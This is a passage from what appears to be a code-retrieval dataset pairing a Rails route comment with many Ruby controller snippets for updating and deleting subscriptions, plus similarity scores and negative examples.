@subscription.update(subscription_params)\n head :no_content\n else\n render json: @subscription.errors, status: :unprocessable_entity\n end\n end", "def update\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription.owner, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@subscription = Subscription.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tif @subscription.update_attributes(params[:subscription])\n\t\t\t\tflash[:notice] = 'Subscription was successfully updated.'\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\t@ingroups = Group.all\n\t\t\t\t@inprojects = Project.all\n\t\t\t\t@fortypesobjects=Typesobject.get_from_observer\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n flash[:success] = \"Subscription was successfully updated.\"\n format.html { redirect_to @subscription }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(@subscription, :notice => 'Subscription was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription.layer, notice: 'Subscription updated OK' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n # TODO: Modify subscription (refund remainder of current, prorate new)\n \n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to subscriptions_url, success: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n format.js { redirect_to subscriptions_url, :format => :html, success: 'Subscription was successfully updated.' }\n else\n format.html { render action: 'edit' }\n format.js { render action: 'edit' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_webhook_subscription(id,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:put, path, query_params, form_params, headers)\n response\n \n\n end", "def update\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(manage_screen_field_subscriptions_path(@screen, @field), :notice => t(:subscription_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_subscription(subscription_id, payload)\n put(url_(\"subscription\", subscription_id), payload)\n end", "def update\n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to @subscription, notice: (I18n.t :subscription_updated) }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_subscriptions(email, attrs = {})\n attrs['email'] = email\n Iterable.request(conf, '/users/updateSubscriptions').post(attrs)\n end", "def update\r\n @subscription = Subscription.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @subscription.update_attributes(subscription_params)\r\n format.html { redirect_to business_user_subscriptions_path, notice: 'Subscription was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def build_update_subscription_request(xml, options)\n xml.tag!('subscriptionId', options[:subscription_id])\n # Adds Subscription\n add_subscription(xml, options)\n\n xml.target!\n end", "def update\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription.transaction, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def update\n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_subscription.update(api_subscription_params)\n format.html { redirect_to @api_subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_subscription }\n else\n format.html { render :edit }\n format.json { render json: @api_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subscription_type = SubscriptionType.find(params[:id])\n\n respond_to do |format|\n if @subscription_type.update_attributes(params[:subscription_type])\n flash[:notice] = 'SubscriptionType was successfully updated.'\n format.html { redirect_to(@subscription_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n s_params = params[:subscription]\n s_params.delete(:id)\n @subscription = Subscription.new(s_params)\n @subscription.save\n respond_with(@subscription)\n end", "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to campaign_subscriptions_path(@campaign), :notice => 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def update\n @subscription.assign_attributes(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: t('controller.successfully_updated', model: t('activerecord.models.subscription')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\nend", "def set_subscription\n @subscription = Subscription.find(params[:id])\nend", "def update \n @service_subscription = ServiceSubscription.find(params[:id])\n \n respond_to do |format|\n if @service_subscription.update_attributes(params[:service_subscription])\n format.html { redirect_to(service_subscriptions_path, :notice => 'Your settings were successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subscription.update_with_author(subscription_params, current_user)\n record_activity :update, @subscription\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def refresh\n puts \" -- refresh subscriptions(#{@subscriptions.size}):\"\n\n run_callback_server # call it once to make sure it runs\n \n @subscriptions.each do |sub| \n puts \" - #{sub.name}\"\n params = { \"attributes[accept]\" => 'application/json' }\n\n query = \"/gnp;#{sub.name};#{sub.entry_uri}\"\n params[\"attributes[callback_url]\"] = \"#{callback_server.base_url}#{query}\"\n\n [:operations, :uri_regexp, :condition_script].each do |key|\n (v = sub.send key) and params[\"attributes[#{key}]\"] = v\n end\n\n url = \"#{@target_url}#{sub.uri}.xml\"\n http_put(url, params) # {|req| req.content_type = 'application/xml'}\n end\n end", "def update_subscription(subscription_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def update\n @subscription = Subscription.by_user_channel_ids(current_user.id, params[:channel_id])\n\n respond_to do |format|\n if @subscription and @subscription.update_attributes(params[:subscription])\n @channel = Channel.find(params[:channel_id])\n format.html { redirect_to @subscription, notice: I18n.t('subscription_updated') }\n format.json { render json: { name: @channel.subscription_name(current_user) }, status: :ok}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end", "def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end", "def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end", "def change_subscription\n @user = User.find(params[:id])\n @user.notify = !@user.notify\n @user.save\n respond_with(@user) do\n redirect_to \"/users/successful_unsubscribe\"\n end\n end", "def set_subscription\n @subscription = Subscription.find(params[:id])\n end", "def set_api_subscription\n @api_subscription = Api::Subscription.find(params[:id])\n end", "def subscription_update\n data = request.body.read\n @verified = verify_webhook(data, request)\n if @verified\n ReserveInventory.delay(:retry => false).update_reserve_inventory\n head :ok\n else\n head :error\n end\n end", "def update\n @subscription_request = SubscriptionRequest.find(params[:id])\n\n respond_to do |format|\n if @subscription_request.update_attributes(params[:subscription_request])\n format.html { redirect_to @subscription_request, notice: 'Subscription request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html { redirect_to @subscribe, notice: 'Subscribe was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscribe }\n else\n format.html { render :edit }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html { redirect_to @subscribe, notice: 'Subscribe was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscribe }\n else\n format.html { render :edit }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def modify_subscriptions(subs)\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',{:node => node_id},\n subs.map do |s|\n x('subscription',:jid => s.jid, :subscription => s.subscription, :subid => s.sub_id)\n end\n )\n )\n )\n send_iq_stanza_fibered iq\n end", "def update\n @unsubscribe = Unsubscribe.find(params[:id])\n\n respond_to do |format|\n if @unsubscribe.update_attributes(params[:unsubscribe])\n flash[:notice] = 'Unsubscribe was successfully updated.'\n format.html { redirect_to(@unsubscribe) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @unsubscribe.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @newsletter_subscription = NewsletterSubscription.find(params[:id])\n\n respond_to do |format|\n if @newsletter_subscription.update_attributes(params[:newsletter_subscription])\n format.html { redirect_to newsletter_subscriptions_path, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newsletter_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_subscription(subscription_id:,\n body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/subscriptions/{subscription_id}'\n _query_builder = APIHelper.append_url_with_template_parameters(\n _query_builder,\n 'subscription_id' => { 'value' => subscription_id, 'encode' => true }\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.put(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end", "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html { redirect_to @subscribe, notice: t('controller.successfully_updated', model: t('activerecord.models.subscribe')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: StreamsApi.update_subscriptions ...'\n end\n # resource path\n local_var_path = '/users/me/subscriptions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'delete'] = @api_client.build_collection_param(opts[:'delete'], :multi) if !opts[:'delete'].nil?\n query_params[:'add'] = @api_client.build_collection_param(opts[:'add'], :multi) if !opts[:'add'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'JsonSuccessBase'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"StreamsApi.update_subscriptions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StreamsApi#update_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n @panel_subscription = Panel::Subscription.find(params[:id])\n respond_to do |format|\n if @panel_subscription.update_attributes(params[:panel_subscription])\n format.html { redirect_to(@panel_subscription, :notice => 'Subscription was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_subscription.errors, :status => :unprocessable_entity }\n end\n end\n end", "def bulk_update_subscriptions(subscriptions = [])\n attrs = { updateSubscriptionsRequests: subscriptions }\n Iterable.request(conf, '/users/bulkUpdateSubscriptions').post(attrs)\n end", "def update_inbound_subscription(subscription_id, options)\n Response.new self.class.post(\"/smsmessaging/inbound/subscriptions/#{subscription_id}\", \n :basic_auth => @auth,\n :body => build_query_string(options),\n :headers => SMSIFIED_HTTP_HEADERS\n )\n end", "def set_subscription\n @subscription = ::Pushar::Core::Subscription.unscoped.find(params[:id])\n end", "def update\n @subscription.activity :params => {:composite_key => \"#{@subscription.game_id},#{@subscription.player_id}\"}\n respond_to do |format|\n if @subscription.update(subscription_params) \n format.html { redirect_to @subscription.game, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_webhook_subscription(subscription_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/webhooks/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def update\n @subscription_history = SubscriptionHistory.find(params[:id])\n\n respond_to do |format|\n if @subscription_history.update_attributes(params[:subscription_history])\n format.html { redirect_to(@subscription_history, :notice => 'Subscription history was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription_history.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post body=nil, headers={}\n @connection.post \"subscriptions.json\", body, headers\n end", "def subscribe_to_updates\n if @subscription = @requestor.find_or_create_subscriptions(@target.id)\n @subscription.update_attributes(blocked: false) if @subscription.blocked?\n render json: { success: true }\n else\n render json: {message: @subscription.errors&.full_messages || 'Unable to subscriber updates, please try again'}, status: 202\n end\n end", "def update\n respond_to do |format|\n if @crytosubscription.update(crytosubscription_params)\n format.html { redirect_to @crytosubscription, notice: 'Thanks for seeking for expert Advice. You will hear from us.' }\n format.json { render :show, status: :ok, location: @crytosubscription }\n else\n format.html { render :edit }\n format.json { render json: @crytosubscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @vendor_subscription.update(vendor_subscription_params)\n format.html { redirect_to @vendor_subscription, notice: 'Vendor subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @vendor_subscription }\n else\n format.html { render :edit }\n format.json { render json: @vendor_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html {redirect_to @subscribe, notice: 'Subscribe was successfully updated.'}\n format.json {render json: @subscribe, status: :ok}\n else\n format.html {render :edit}\n format.json {render json: @subscribe.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n @list_subscription = ListSubscription.find(params[:id])\n\n respond_to do |format|\n if @list_subscription.update_attributes(params[:list_subscription])\n format.html { redirect_to @list_subscription, notice: 'List subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # params[:id] is the knowmadics id\n\n @api_subscription = Api::Subscription.new(api_subscription_params)\n\n respond_to do |format|\n if @api_subscription.save\n format.html { redirect_to @api_subscription, notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @api_subscription }\n else\n format.html { render :new }\n format.json { render json: @api_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_crytosubscription\n @crytosubscription = Crytosubscription.find(params[:id])\n end", "def update\n friend = current_user.friends.find params[:id]\n return render json: { error: \"This doesn't seem to be your friend\" } if friend.nil?\n subscribed = !friend.subscribed\n change = subscribed ? 1 : -1\n friend.update subscribed: subscribed\n notify friend, change, 'subscribe'\n render json: {success: subscribed == friend.subscribed}\n end", "def update\n\n @subscription.subscribe(current_user.account, subscription_params[:stripe_plan_id], coupon: subscription_params[:coupon_code])\n\n if @subscription.save\n redirect_to @subscription, notice: 'Subscription was successfully updated.'\n else\n @verrors = @subscription.errors.full_messages\n render 'edit'\n end\n end", "def subscribe\n \nend", "def update\n @subscription = Subscription.find(params[:id])\n set_current_system list_to_system(@subscription.list)\n get_list_and_segments\n params[:subscription][:segments] ||= []\n @subscription.write_attributes(params[:subscription])\n @lyris = Lyris.new :update_member_demographics, :simple_member_struct_in => {:email_address => @subscription.email, :list_name => @subscription.list}, :demographics_array => @segments.keys.map {|e| {:name => e, :value => @subscription.segments.include?(e.to_s) ? 1 : 0}} if @segments.present?\n @subscription.save\n flash[:notice] = \"Newsletter Subscription settings have been updated.\"\n redirect_to(admin_subscriptions_url)\n end", "def update\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n if @subscriber.update_attributes(params[:subscriber])\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n if @subscriber.update_attributes(params[:subscriber])\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_subscriptions(opts = {})\n data, _status_code, _headers = update_subscriptions_with_http_info(opts)\n data\n end", "def create\n@subscription = current_user.subscriptions.build(subscription_params)\n\nrespond_to do |format|\n if @subscription.save\n\n format.html { redirect_to users_profile_url(current_user.id), notice: 'Your pet was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n\nend\n\n# PATCH/PUT /subscriptions/1\n# PATCH/PUT /subscriptions/1.json\ndef update\nrespond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to users_profile_url(current_user.id), notice: 'Your pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\nend\nend\n\n# DELETE /subscriptions/1\n# DELETE /subscriptions/1.json\ndef destroy\n@subscription.destroy\nrespond_to do |format|\n format.html { redirect_to :back, notice: 'Your pet was successfully destroyed.' }\n format.json { head :no_content }\nend\n\nprivate\n# Use callbacks to share common setup or constraints between actions.\ndef set_subscription\n @subscription = Subscription.find(params[:id])\nend\n\n# Never trust parameters from the scary internet, only allow the white list through.\ndef subscription_params\n params.require(:subscription).permit(:title, :company, :url, :start_time, :end_time, :phone_number, :time, :pet_name, :breed, :animal, :notes, :pet_image, :option_1, :option_2, :gender)\nend\n\ndef correct_user\n @subscriptions = current_user.subscriptions.find_by(id: params[:id])\n redirect_to users_profile_url, notice: \"Not authorized to edit this pet\" if @subscription.nil?\nend\n\nend\nend", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end", "def update\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n if @subscriber.update_attributes(params[:subscriber])\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_subscriptions_from_account \n contacts = params[:contacts]\n contacts_subscribing = params[:subscribers].is_a?(Hash) ? params[:subscribers].keys : []\n contacts_unsubscribing = params[:contacts] - contacts_subscribing\n \n # subscribe these contacts\n contacts_subscribing.each do |c_id|\n begin\n Case_Watcher.create_subscription!(Contact.find(c_id), \n :account => Sfaccount.find(params[:id]).synced_record )\n rescue ActiveRecord::RecordNotFound\n logger.info(\"Couldn't create subscription for contact w/id: #{c_id}. Contact doesn't exist.\")\n end\n end\n\n # unsubscribe these contacts\n contacts_unsubscribing.each do |c_id|\n begin\n Case_Watcher.remove_subscription!(Contact.find(c_id), \n :account => Sfaccount.find(params[:id]).synced_record )\n rescue ActiveRecord::RecordNotFound\n logger.info(\"Couldn't remove subscription for contact w/id: #{c_id}. Contact doesn't exist.\")\n end\n end\n \n redirect_to :action => 'account', :id => @account, :notice => \"Account subscriptions updated.\"\n end" ]
[ "0.6891499", "0.6844888", "0.6808242", "0.6775752", "0.67569554", "0.66222286", "0.6586289", "0.658252", "0.6581488", "0.65234166", "0.64916587", "0.64916587", "0.64916587", "0.64698297", "0.6449815", "0.64154965", "0.6396771", "0.6381251", "0.63667613", "0.63647616", "0.6362074", "0.63442427", "0.6332828", "0.6312604", "0.6302328", "0.6302328", "0.6302328", "0.6302058", "0.6302058", "0.62756187", "0.6273105", "0.62267685", "0.62218994", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6215412", "0.6184892", "0.61806834", "0.61806834", "0.61736995", "0.6123352", "0.6103066", "0.60958016", "0.6080273", "0.60767657", "0.6075537", "0.6075537", "0.60188687", "0.60084283", "0.5993839", "0.59884214", "0.59752333", "0.5971321", "0.5971321", "0.591676", "0.5901365", "0.5896529", "0.58930045", "0.58656955", "0.58621436", "0.5851895", "0.5849244", "0.5837655", "0.5802556", "0.57783616", "0.577727", "0.5771152", "0.5764462", "0.57611823", "0.5734704", "0.5726392", "0.57254475", "0.57152843", "0.56969976", "0.56871146", "0.5680566", "0.56733847", "0.56614417", "0.5661277", "0.565207", "0.56520426", "0.56520426", "0.5646314", "0.56329775", "0.5624969", "0.5624969", "0.5624969", "0.56162626", "0.56072134" ]
0.6826774
2
DELETE /subscriptions/1 DELETE /subscriptions/1.xml
def destroy @subscription = Subscription.find(params[:id]) @subscription.destroy respond_to do |format| format.html { redirect_to(subscriptions_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_subscriptions\n end", "def delete options={}, headers={}\n @connection.delete \"subscriptions.json\", options, headers\n end", "def delete_subscription(id)\n delete(\"/subscriptions/#{id}\")\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription.destroy\n\n head :no_content\n end", "def destroy\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n \n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end\n end", "def destroy\n @subscription = current_user.subscriptions.find(params[:id])\n #TODO move to model Subscription\n if not current_user.fitbit.nil?\n path = ['/1/user/-', @subscription.collection_path, 'apiSubscriptions', @subscription.subscription_id + '-' + @subscription.collection_path]\n current_user.fitbit.client.delete(path.join('/') + '.json')\n flash[:success] = 'Subscription successfully removed from Fitbit.'\n else\n flash[:error] = 'Can not remove subscription from Fitbit, because you are not connected.'\n end\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n auth!\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(manage_screen_field_subscriptions_url(@screen, @field)) }\n format.xml { head :ok }\n end\n end", "def destroy\n subscription = current_user.subscriptions.find(params[:id])\n subscription.destroy!\n\n render json: { status: 'success'}\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n 